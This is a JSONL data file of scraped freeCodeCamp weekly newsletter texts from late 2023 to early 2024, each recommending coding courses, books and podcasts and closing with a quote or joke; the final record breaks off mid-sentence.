{"id": "gh_33ec051f1df9", "question": "How to: Jan 19, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Many people who are learning to code have the goal of eventually working as a developer. But landing that first developer role is not an easy task. Luckily, my friend Lane Wagner created this course to help guide you through the process. It's jam-packed with tips from me and a lot of other developers. (4 hour YouTube course): https://www.freecodecamp.org/news/how-to-get-a-developer-job\n\n2. For years, people have asked for an in-depth course on Data Engineering. And I'm thrilled to say freeCodeCamp just published one, and it's a banger. Data Engineers design systems to collect, store, and analyze data – systems that Data Scientists and Data Analysts rely on. This course will teach you key concepts like Data Pipelines and ETL (Extract-Transform-Load). And you'll learn how to use tools like Docker, CRON, and Apache Airflow. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-the-essentials-of-data-engineering/\n\n3. freeCodeCamp also just published a full-length book on Advanced Object-Oriented Programming (OOP) in Java. It will teach you Java Design Patterns, File Handling, I/O, Concurrent Data Structures, and more. And freeCodeCamp published a more beginner-friendly Java OOP book by the same author a while back, too. (full-length book): https://www.freecodecamp.org/news/object-oriented-programming-in-java/\n\n4. freeCodeCamp uses the open source NGINX web server, and more than one third of all other websites do, too. NGINX uses an asynchronous, event-driven architecture so you can handle a ton of concurrent users with fewer servers. We just published a crash course on using NGINX for back-end development. You'll learn how to use it for load balancing, reverse proxying, data streaming, and even as a Microservice Architecture. (1 hour YouTube course): https://www.freecodecamp.org/news/nginx/\n\n5. You may have heard the term “ACID database”. It refers to a database that guarantees transactions with Atomicity, Consistency, Isolation, and Durability. MySQL and PostgreSQL are fully ACID-compliant. Other databases like MongoDB and Cassandra have partial ACID guarantees. So what are these properties and why are they so important? This article by Daniel Adetunji will explain everything using helpful analogies and some of his own artwork. (20 minute read): https://www.freecodecamp.org/news/acid-databases-explained/\n\nQuote of the Week: *\"Data engineers are the plumbers building a data pipeline, while data scientists are the painters and storytellers, giving the data a voice.\"* — Steven Levy, author of many excellent books about developers and tech companies", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740475"}
{"id": "gh_a2a9e759cea1", "question": "How to: Jan 12, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This week freeCodeCamp published a massive book on Git. Git was invented by the same programmer who created Linux. It's a powerful Version Control System that virtually all new software projects use. This said, even experienced developers can struggle to understand Git. So my friend Omer Rosenbaum – the CTO of an AI company – wrote this intermediate book. It will teach you how Git works under the hood, and how you can use it to collaborate with other devs around the world. (full-length book): https://www.freecodecamp.org/news/gitting-things-done-book/\n\n2. Learn Data Analysis with Python. This comprehensive course will teach you how to analyze data using Excel, SQL, and even specialized industry tools like Power BI and Tableau. Along the way, you'll improve your Python and build several real-world projects you can show off to your friends. The instructor, Alex Freberg, has worked as a data analyst in a variety of industries. He's adept at explaining advanced topics. I think you'll enjoy this course and learn a lot. (19 hour YouTube course): https://www.freecodecamp.org/news/learn-data-analysis-with-comprehensive-19-hour-bootcamp/\n\n3. If you're new to coding but still want to quickly build prototype apps, AI tools can definitely help. ChatGPT is no substitute for programming skills, but it's reasonably good at creating code. This course will teach you some prompt engineering techniques. It will also give you a feel for the strengths and weaknesses of AI-assisted coding. Along the way, you'll build a drum set app and even a Whac-a-Mole game. This course is a great starting point for absolute beginners, and can serve as a gateway into full-blown software development. Be sure to tell your non-programmer friends about it. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-to-code-without-being-a-coder/\n\n4. A String is one of the most primordial of data types. You can find String variables in almost every programming language. Strings are just a sequence of characters, usually between two quote marks, like this: \"banana\". And yet there are so many things you can do with Strings: Concatenation, Comparison, Encoding, and even String Searching with Regular Expressions. Joan Ayebola wrote this in-depth handbook that will teach you everything you need to know about JavaScript Strings. (full handbook): https://www.freecodecamp.org/news/javascript-string-handbook/\n\n5. Hugging Face is not just what happens in the 1979 movie “Alien”. It's also a \"GitHub of AI\" platform where machine learning enthusiasts share models and datasets. This tutorial will show you how to set up the Hugging Face command line tools, browse pretrained models, and run a few AI tasks such as sentiment analysis. (20 minute read): https://www.freecodecamp.org/news/get-started-with-hugging-face/\n\nQuote of the Week: *\"Duct tape programmers don’t give a damn what you think about them. They stick to simple, basic, and easy to use tools. Then they use the extra brain power that these tools leave them to write more useful features for their customers.\"* — Joel Spolsky, developer and founder of Stack Overflow and Trello", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740486"}
{"id": "gh_4597a866c0a7", "question": "How to: Jan 5, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn modern Front-End Development with the powerful React JavaScript library. This in-depth course is taught by software engineer and prolific freeCodeCamp contributor, Hitesh Choudhary. He'll teach you the fundamental structure of React apps, including Hooks, Virtual DOM, React Router, Redux Toolkit, the Context API, and more. You'll also apply these tools by building several projects along the way. (12 hour YouTube course): https://www.freecodecamp.org/news/comprehensive-full-stack-react-with-appwrite-tutorial/\n\n2. And if you want to go beyond React and learn full-stack JavaScript, freeCodeCamp contributor Chris Blakely has created an entire roadmap for skills you should learn. This roadmap focuses on the MERN Stack: MongoDB, Express.js, React, and Node.js, which many popular web apps use – including freeCodeCamp itself. If you're new to web dev, this will give you a broad overview of what you'll want to prioritize learning. (40 minute read): https://www.freecodecamp.org/news/mern-stack-roadmap-what-you-need-to-know-to-build-full-stack-apps/\n\n3. Software Development as a field is always changing. I like to say that the key skill developers possess is not coding itself, but rather the ability to learn quickly. This book will help you think like a developer, so you can pick up new tools, solve new problems, and keep blazing forward as a dev. (full-length book): https://www.freecodecamp.org/news/creators-guide-to-innovation-book/\n\n4. Developer job interviews are not just about coding. There's a significant portion dedicated to the “behavioral interview.” This course will show you what to expect and how to prepare for it – through example questions and case studies. It's a time-efficient way to gear up for a successful run of interviews. (2 hour YouTube course): https://www.freecodecamp.org/news/mastering-behavioral-interviews-for-software-developers/\n\n5. The #100DaysOfCode challenge is an ideal New Year's Resolution for anyone wanting to expand their developer skills. Each year, thousands of ambitious people commit to this simple challenge: code at least 1 hour each day for 100 days in a row, and support other people who are doing the same. I've written this guide to how you can get started and make some serious gains in 2024. (5 minute read): https://www.freecodecamp.org/news/100daysofcode-challenge-2024-discord/\n\nFinally, my friends Jess and Ramón are starting a new cohort of their freely available bootcamp on Monday, January 8. You can join them and work through both freeCodeCamp's Responsive Web Design certification and our new project-oriented JavaScript Algorithms and Data Structures certification. This is a great way to expand your skills alongside a kind, supportive community. (5 minute read): https://www.freecodecamp.org/news/free-webdev-and-js-bootcamps/\n\nQuote of the Week: *\"A year ago I had no idea how to write code, and now I'm building my own stuff and learning how to do things I never thought I'd be capable of. If your new year's resolution is to become a developer, start now! You will never regret it.\"* — Jack Forge, software developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740497"}
{"id": "gh_63dd8f4ce86b", "question": "How to: Dec 22, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. I'm proud to announce that after 2 years of development, freeCodeCamp's new upgraded JavaScript Algorithms and Data Structures certification is now live. You can learn JavaScript step-by-step by coding 21 different projects – right in your browser. You'll build your own fantasy role playing game, mp3 player app, spreadsheet tool, and even a Pokémon Pokédex app. (300-hour interactive curriculum): https://www.freecodecamp.org/news/learn-javascript-with-new-data-structures-and-algorithms-certification-projects/\n\n2. And that's just one of the many upgrades freeCodeCamp rolled out this week. We also published an interactive Python certification. It's 15 projects that you can complete right in your browser. And that's not all. We published our English for Developers curriculum to help non-native English speakers improve their English so they can work in tech. Here's my full year-end breakdown. You can read along and unwrap the many Christmas presents that the freeCodeCamp community has stuffed under your tree. (10 minute read): https://www.freecodecamp.org/news/a-very-freecodecamp-christmas/\n\n3. Learn full-stack web development with this comprehensive project-based course. You'll build and deploy your own hotel management dashboard. Along the way, you'll learn advanced tools like Next.js, React, Sanity, and Tailwind CSS. This is an excellent course to solidify your coding fundamentals. (10 hour YouTube course): https://www.freecodecamp.org/news/build-and-deploy-a-hotel-management-site/\n\n4. Figma is a popular design and app prototyping tool. And they recently introduced a powerful feature that lets you declare variables, then use them throughout your projects. A lot of designers think this is a big deal. And freeCodeCamp just published a comprehensive handbook that will teach you how to leverage these Figma variables, so you can use them in your designs. (full-length handbook): https://www.freecodecamp.org/news/variables-in-figma-handbook/\n\n5. On this week's freeCodeCamp Podcast, I interview Kylie Ying, a software engineer and AI researcher. We talk about her 5 years at MIT and her time at CERN working on the Large Hadron Collider. We also talk about competitive figure skating, poker-playing AIs, and the many courses she's published on freeCodeCamp over the years. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-kylie-ying-mit-cern/\n\nJoke of the Week: *\"Why do programmers always mix up Christmas and Halloween? Because Dec 25 = Oct 31.\"* In programming, Dec stands for Decimal, meaning a base-10 number system. And Oct stands for Octal, meaning a base-8 number system. So Dec 25 really does equal Oct 31. I know – this isn't the funniest programmer joke ever, but it is fun to think about.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740507"}
{"id": "gh_1dcf75bad3cb", "question": "How to: Dec 15, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn to code your own mini Grand Theft Auto game with self-driving cars. Dr. Radu Mariescu-Istodor teaches this intermediate JavaScript course. He's already taught several freeCodeCamp courses on No Black Box AI development and self-driving cars. And now he'll teach you how to build an entire virtual world and populate it with those cars. You'll learn about spatial graphs, 3D geometry, road marking recognition, and how to incorporate real-world road data from OpenStreetMap. (6 hour YouTube course): https://www.freecodecamp.org/news/create-a-virtual-world-with-javascript/\n\n2. And if you want to learn even more hardcore AI skills, freeCodeCamp teacher Beau Carnes just published an in-depth course on Vector Embeddings, Vector Search, and Retrieval-Augmented Generation. You'll be able to augment off-the-shelf Large Language Models by using Semantic Similarity Search with your own in-house data. At freeCodeCamp we pride ourselves on teaching programming fundamentals. And yet we also teach emerging practices that only a few thousand people on earth know how to leverage. We'll help you become one of those people. (1 hour YouTube course): https://www.freecodecamp.org/news/vector-search-and-rag-tutorial-using-llms-with-your-data/\n\n3. If you're just starting your coding journey, don't let all these advanced topics intimidate you. freeCodeCamp just published a book that should be right up your alley. My friend Fatos authored “How to Start Learning to Code – a Handbook for Beginners.” It will teach you about developer careers and how you can join the ranks of more than 30 million professional developers on Earth. Learning to code is a marathon – not a sprint. And Fatos will give you lots of practical tips to help you power through the checkpoints. (full-length handbook): https://www.freecodecamp.org/news/learn-coding-for-everyone-handbook/\n\n4. And another friend, Andrew Brown, just published a complete refresh of his Microsoft Azure Fundamentals certification course. It will help you learn cloud engineering fundamentals and prepare for Microsoft's AZ-900 exam. Andrew is a former CTO who has passed every cloud certification under the sun. He is the most qualified person imaginable to help you earn these résumé-reinforcing cloud certs. (8 hour YouTube course): https://www.freecodecamp.org/news/azure-fundamentals-certification-az-900-exam-course/\n\n5. Finally, I had the privilege of touring the Computer History Museum in Mountain View, California. And while I was there I interviewed my long-time friend and fellow founder Dhawal Shah. He has run the popular Class Central website for more than a decade, and is a historian of Massive Open Online Courses. We talk about his childhood in India, how he won his first computer from a Cartoon Network sweepstakes, and how he moved to the US as an engineer and ultimately became a US citizen. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-history-of-online-courses-dhawal-shah/\n\nQuote of the Week: *\"Open world games are fun not because NPCs (non-player characters) have their own stories, but because the player can affect those stories in significant ways.\"* — Tony Li, Unity forum user back in 2015", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740517"}
{"id": "gh_c07a2ab6ec37", "question": "How to: Dec 8, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Machine Learning Operations – or MLOps – is an emerging field where developers use DevOps principles to build AI. You can learn all about it by coding along with this intermediate course. You'll use Python, Pandas, and several Machine Learning libraries such as ZenML. By the time you finish, you will have built and deployed your own production-grade AI project. (3 hour YouTube course): https://www.freecodecamp.org/news/mlops-course-learn-to-build-machine-learning-production-grade-projects/\n\n2. And if you're looking for a more beginner-friendly path into DevOps, earning an AWS certification may be the way to go. freeCodeCamp just published a course to help you prepare for the AWS Certified Cloud Practitioner exam. This course is newly updated for 2024. You'll learn cloud computing concepts, architecture, deployment models, and more. (14 hour YouTube course): https://www.freecodecamp.org/news/aws-certified-cloud-practitioner-study-course-pass-the-exam-with-this-free-13-hour-course/\n\n3. There's a way to represent images with code, and I use it all the time. SVG stands for Scalable Vector Graphics, and it's one of the most efficient ways to store images for icons or other simple patterns. It's so efficient because it stores the literal coordinates of all the lines and colors of your image. In this tutorial, freeCodeCamp contributor Hunor Márton Borbély will teach you how to work with SVG files by coding your own Christmas tree, gingerbread man, and snowflake art. (30 minute read): https://www.freecodecamp.org/news/svg-tutorial-learn-to-code-images/\n\n4. Remember that game Snake that came preloaded on all those indestructible Nokia phones? You're going to learn how to code that classic game where the snake keeps eating and getting longer until it collides with itself. Along the way, you'll get hands-on practice with JavaScript. You'll also learn how to give your game a retro design using HTML and CSS. (2 hour YouTube course): https://www.freecodecamp.org/news/javascript-beginners-project-snake-game\n\n5. Developers sometimes encode data as raw text using Base64, even though it takes up 33% more storage than binary. Why do they do this? Well, Base64 is just a combination of uppercase letters, lowercase letters, numbers, and two symbols: + and /. Just to check my math, that's 26 + 26 + 10 + 2 = 64 characters, right? This tutorial will teach you all the things you never knew you wanted to know about Base64. And it will solve the mystery of why developers continue to use this even today. (25 minute read): https://www.freecodecamp.org/news/what-is-base64-encoding/\n\nPoem of the Week:\n\n*\"Roses are red,\nViolets are blue,\nThe Base64 of I love you,\nIs SSBsb3ZlIHlvdQ==\"*\n\n— Netsecfocus on Twitter", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740528"}
{"id": "gh_33bede83b126", "question": "How to: Dec 1, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The subject line wasn't a typo. freeCodeCamp really did just publish a 4-day-long course. This is a full cloud engineering bootcamp developed by my friend Andrew Brown. He's a former CTO who has passed every single cloud certification exam under the sun. This hands-on project-oriented course will teach you all about serverless architecture, containerization, databases, pipelines, and enterprise cloud strategies. Clear your calendar. 😉 (107 hour YouTube course): https://www.freecodecamp.org/news/free-107-hour-aws-cloud-project-bootcamp/\n\n2. Learn how to code your own Instagram clone. You're going to reverse engineer the entire app, using contemporary tools like React and Firebase. You'll learn about authentication, post creation, real-time interaction, and more. By the end of this course, you'll have built a sophisticated social media app from scratch. (8 hour YouTube course): https://www.freecodecamp.org/news/code-and-deploy-an-instagram-clone-with-react-and-firebase/\n\n3. And if you want to focus on your fundamental programming skills, this tutorial is for you. Joan Ayebola explains JavaScript's famously tricky logic operators. She'll teach you about conditional statements that form the core of day-to-day programming. You'll also learn about Switch Statements, Short-Circuit Evaluation, the Ternary Operator, and how to apply these to real world projects. (20 minute read): https://www.freecodecamp.org/news/logic-in-javascript/\n\n4. I hung out with hardware engineer Bruno Haid at his studio in NYC. We talked about his childhood in the European countryside, designing custom printed circuit boards, Retrocomputing, and founding companies in the US. It's a fun, breezy conversation. And we do philosophize a bit about Star Trek. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-hardware-engineering-bruno-haid/\n\n5. Tell your Spanish speaking friends that freeCodeCamp just published a comprehensive web development course, taught by software engineer and native speaker Manuel Basanta. You'll learn HTML, CSS, and JavaScript by coding along at home and building 7 projects. Over the years, freeCodeCamp has published many courses on these topics in English. And now we're proud to teach them in Spanish as well. (3 hour YouTube course): https://www.freecodecamp.org/news/practice-html-css-and-javascript-by-building-7-projects/\n\nQuote of the Week: *\"The cloud is just someone else’s computer.\"* — Graham Cluley, Developer and Security Expert back in 2013", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740541"}
{"id": "gh_0b5f56c7b55d", "question": "How to: Nov 24, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to build AIs with Machine Learning. This new intermediate course assumes you have some basic knowledge of statistics and Python. You'll learn how to use the powerful scikit-learn library to implement Linear Regression, Logistic Regression, Decision Trees, Random Forests, Gradient-Boosting Machines, and other building blocks of AI. This is a serious course, with all the rigor you've come to expect from the freeCodeCamp engineering community. I don't blame anyone for wanting to just chill this Thanksgiving weekend. But if you want to build some hard skills, freeCodeCamp's gobble gobble got you. (18 hour YouTube course): https://www.freecodecamp.org/news/machine-learning-with-python-and-scikit-learn/\n\n2. And if you want even more AI insight, learn how to use the popular LangChain framework to link your Large Language Models to your own external data. You'll learn about Vectorizing, Embedding, Piping, and other important concepts for building a chatbot that can talk about your specific data. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-langchain-to-link-llms-with-external-data/\n\n3. Speaking of data, I met up in New York City with one of the foremost experts in the field of Data Visualization: Dr. Curran Kelleher. I interviewed him about Computer Science, how humans process visual information, and even the 5 years he spent in India after grad school. Curran is a prolific contributor to the freeCodeCamp community, having taught several Data Visualization courses. So it's an honor to have him on the freeCodeCamp Podcast. (1 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-data-visualization-curran-kelleher/\n\n4. My friend Tapas has spent much of this past year thinking about developer career progressions. We just published his collection of common mistakes he sees developers make, and how to best avoid them. You can lean back with a hot beverage and learn what not to do. (30 minute read): https://www.freecodecamp.org/news/career-mistakes-to-avoid-as-a-dev/\n\n5. A lot of my friends are using the holidays to prepare for the coding interview process as they apply for new roles. Don't let this process intimidate you. In this tutorial, freeCodeCamp developer Jessica Wilkins will walk you through solving a popular Leetcode problem called Two Sum. You'll learn how she thinks and solves the challenge step-by-step. You'll also get to check out her resulting data visualizations. (40 minute read): https://www.freecodecamp.org/news/build-a-visualization-for-leetcode-two-sum-problem/\n\nQuote of the Week: *\"The best software developers I know spend the holidays the way they are meant to be spent: doing basic tech support for blood relatives.\"* — Maciej Cegłowski, Developer and founder of Pinboard", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740551"}
{"id": "gh_f98da914ae84", "question": "How to: Nov 17, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This Java book will help you build a solid foundation in Object-Oriented Programming (OOP). You can read this full book right in your browser, and bookmark it to serve as a reference down the road. It covers Java fundamentals like Data Types, Operators, and Control Flow. Then it dives into OOP concepts like Constructors, Inheritance, Polymorphism, and Encapsulation. (full-length book): https://www.freecodecamp.org/news/learn-java-object-oriented-programming/\n\n2. My friend Andrew is a former CTO. Over the past 5 years, he's earned every single AWS and Azure cloud certification under the sun. Now he's back with a comprehensive course to prepare you for the Azure Solutions Architect exam. If you want to work in DevOps or Site Reliability Engineering, then this is an excellent certification to earn. And Andrew will show you the way. (10 hour YouTube course): https://www.freecodecamp.org/news/become-an-azure-solutions-architect-expert-pass-the-az-305-exam/\n\n3. Learn how to ace developer job interviews. This course will break down common coding interview topics like data structures and algorithms. Parth is an experienced software engineer who's worked at a number of tech companies including Microsoft. Along the way, he's learned several interviewing strategies that work, and he'll teach you all of them. (5 hour YouTube course): https://www.freecodecamp.org/news/master-technical-interviews/\n\n4. PaLM 2 is a powerful new Large Language Model from Google. And we're bringing you an in-depth course on how to harness its power. In this course, popular freeCodeCamp instructor Ania Kúbow will walk you through building your own AI chatbot using the PaLM 2 API. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-use-the-palm-2-api/\n\n5. I met up with MIT-trained engineer Arian Agrawal in New York City to interview her about her journey into tech. She was working on Wall Street when she had an idea to rent out her friends' Indian dresses for weddings. What followed was a crazy journey into entrepreneurship. I had a blast recording this podcast interview, and I hope you enjoy listening to it. (2 hour listen in your browser or favorite podcast app): https://www.freecodecamp.org/news/podcast-arian-agrawal-from-mit-to-startup-land/\n\nQuote of the Week: *\"After I drink my coffee, I show my empty mug to the IT guy and tell him that I've successfully installed Java. He hates me.\"* — A joke first told in an elevator at the Goldman Sachs building in 2013", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740561"}
{"id": "gh_d5b77f0de46a", "question": "How to: Nov 10, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn the basics of hardware coding with the popular Arduino microcontroller. You'll learn how to control LEDs, motors, and even household objects like window blinds. You'll also learn how to hook up sensors for light, sound, and temperature. This is the ultimate DIY electronics tool, and this project-oriented course will teach you all about it. You can enjoy this course and learn these concepts even if you don't own an Arduino. (10 hour YouTube course): https://www.freecodecamp.org/news/arduino-for-everybody/\n\n2. I hung out in New York City with legendary programmer Joel Spolsky, who co-founded Stack Overflow and Trello. I got to interview him about his thoughts on software engineering, building companies, and how new AI tools represent a “third age of programming”. (2 hour listen in your favorite podcast app): https://www.freecodecamp.org/news/trello-stack-overflow-founder-joel-spolsky-podcast-interview/\n\n3. Learn Python and the powerful Tkinter library by coding your own desktop app. In this quick tutorial, you'll learn Tkinter basics by building a whiteboard app with a Graphical User Interface. You'll code the window's navigation, buttons, and even a color picker. (20 minute read): https://www.freecodecamp.org/news/build-a-whiteboard-app/\n\n4. Learn how to build your own e-commerce sticker shop with AI-generated stickers. In this WordPress crash course, freeCodeCamp teacher Beau Carnes will walk you through coding and deploying your own site. He'll show you how to use AI tools to procedurally generate merchandise to stock your virtual shelves. This is a fun, breezy watch. (1 hour watch): https://www.freecodecamp.org/news/create-a-wordpress-store-that-sells-real-ai-generated-products/\n\n5. Next.js is a popular JavaScript web development framework. And one of the trickiest parts of building an app is Authentication. This course will teach you how to use the latest version of Next.js together with several OAuth providers to sign your users in. (1 hour YouTube course): https://www.freecodecamp.org/news/secure-next-js-applications-with-role-based-authentication-using-nextauth/\n\nQuote of the Week: *\"We’re programmers. Programmers are, in their hearts, architects, and the first thing they want to do when they get to a site is to bulldoze the place flat and build something grand. We’re not excited by incremental renovation: tinkering, improving, planting flower beds.\"* — Joel Spolsky", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740570"}
{"id": "gh_587ddd64c9b3", "question": "How to: Nov 3, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. As you may know, each week I host The freeCodeCamp Podcast where I interview software developers. Well, I decided to do something special for our 100th episode. I recorded a full-length audiobook version of my 2023 book “How to Learn to Code and Get a Developer Job.” If you've been meaning to read my book, you can now listen to it on the go – in its entirety. I consider podcasts to be my own personal “University of the Commute.” I listen to them every day while I'm getting around town. And I encourage you to do the same. Just search for The freeCodeCamp Podcast in whichever podcast app you use, or listen right in your browser. (full audiobook – 4 hour listen): https://www.freecodecamp.org/news/learn-to-code-book/\n\n2. This in-depth course will teach you Web Development for beginners. You'll learn key tools like HTML, CSS, and JavaScript. You'll even learn how to commit your code with Git and deploy it to the cloud. My friend Akash teaches this course. He's not only a developer – he's also the CEO of a machine learning startup. This man knows webdev like the back of his hand, and he's stellar at teaching it. (20 hour YouTube course): https://www.freecodecamp.org/news/learn-web-development-with-this-free-20-hour-course\n\n3. If you're already comfortable with web development, and want to learn mobile app development, this course will teach you how to code your own Android quiz app – and from scratch. You'll build on top of your webdev knowledge by learning Android Components and the Kotlin programming language. Then you'll get some practice applying design principles and app logic concepts. (10 hour YouTube course): https://www.freecodecamp.org/news/kotlin-and-android-development-build-a-chat-app/\n\n4. If you're building a large website or app, you're going to want a Design System. This is a set of reusable components that helps get everyone on the same page. Developers can then use these components to build User Interfaces that are more consistent and harmonious. In this case study, Faith will show you how one startup uses a Design System to simplify collaboration. (20 minute read): https://www.freecodecamp.org/news/how-to-use-a-design-system/\n\n5. Manually deploying your codebase to the cloud several times a day can get tedious. If you learn how to use Infrastructure as Code (IaC), you can automate this process. And with improvements in AI, you can simplify this even further. Beau Carnes teaches this course, and he'll show you IaC concepts in action. You'll learn how to use natural language – plain English – to describe what you want your infrastructure to look like. Through a combination of tools like GPT-4 and Pulumi, you'll build out your architecture. You'll even learn about Serverless Function Chaining. (1 hour YouTube course): https://www.freecodecamp.org/news/create-and-deploy-iac-by-chatting-with-ai/\n\nQuote of the Week: “The most disastrous thing that you can ever learn is your first programming language.” — Alan Kay, programmer, Turing Award winner, and pioneer of Graphical User Interfaces (GUIs)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740581"}
{"id": "gh_9b632692001c", "question": "How to: Oct 27, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Harvard's CS50 course is the most popular course at Harvard and the most-watched Computer Science course in history. Through freeCodeCamp's partnership with Harvard, I present to you the brand new 2023 edition of this course. You'll learn CS fundamentals like Data Structures and Algorithms. You'll also learn C programming, Python, SQL, and other key tools of the trade. I know learning to code is a big undertaking. Ease into it with this fun, beginner-friendly course. (26 hour YouTube course): https://www.freecodecamp.org/news/harvard-university-cs50-computer-science-course-2023/\n\n2. If you have some Python experience and want to get into Machine Learning, start with this freely available book we just published through freeCodeCamp Press. You'll learn how to harness the power of ML algorithms including Least Squares, Naive Bayes, Logistic Regression, and Random Forest. You'll also learn a variety of optimization techniques like Gradient Descent. You can read the book, tinker with the code examples, and bookmark it for future reference. (full-length book): https://www.freecodecamp.org/news/machine-learning-handbook/\n\n3. freeCodeCamp also published a MySQL for Beginners course this week. You'll learn Relational Database concepts and SQL basics. This is a practical, jargon-free, no-nonsense course. I think you'll enjoy Josh's straightforward teaching style. It's clear to me that he's spent a large portion of his waking life using MySQL. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-mysql-beginners-course/\n\n4. Learn how to write tests for your Python code. This comprehensive Pytest course will introduce you to testing concepts like Mocking, Fixtures, and Parameterization. You'll even learn some prompt engineering tips for using GPT-4 to help create Python tests for your code. This is a handy way to speed up your test creation workflow. (90-minute YouTube course): https://www.freecodecamp.org/news/testing-in-python-with-pytest/\n\n5. Finally, if you're interested in finance, freeCodeCamp just published a course on Algorithmic Trading with Python. You'll learn how to design an Unsupervised Machine Learning Trading Strategy. You'll also learn how to leverage Sentiment Analysis and intraday trading strategies using the GARCH Model. Proof that freeCodeCamp is truly a multi-disciplinary learning resource. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-algorithmic-trading-using-python\n\nQuote of the Week: *\"What ultimately matters is not so much where you end up relative to your classmates, but where you end up relative to yourself when you began.\"* — Harvard CS50 Professor David J. Malan", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740591"}
{"id": "gh_1f614d302bf3", "question": "How to: Oct 20, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive Front End Developer Roadmap. If you're new to coding, Front End Development is a great skillset to build up first. freeCodeCamp teacher Beau Carnes will explain the core Front End concepts and tools you should prioritize learning first. You'll learn HTML, CSS, JavaScript, React, Next.js, VS Code, and even some AI Prompt Engineering. This roadmap is a big time commitment, but you can hop on and hop off as you see fit. Either way, you'll learn a ton of relevant skills and theory. (85 hour coding roadmap of YouTube courses): https://www.freecodecamp.org/news/front-end-developer-roadmap\n\n2. One powerful Front End Development technology that comes built-in to CSS is Flexbox. And freeCodeCamp just published an entire book on the subject. This Flexbox Handbook will teach you how to build responsive designs that look good on any sized device – from a smart watch to a jumbotron. You'll learn the key Flex and Align properties through a series of practical examples. If you're new to CSS, bookmark this and use it as a reference when you're coding. It will serve you well. (full length handbook): https://www.freecodecamp.org/news/the-css-flexbox-handbook/\n\n3. Learn to code your own AI chatbot using the popular MERN stack: MongoDB, Express.js, React, and Node.js. You'll build a full-stack web app that uses these 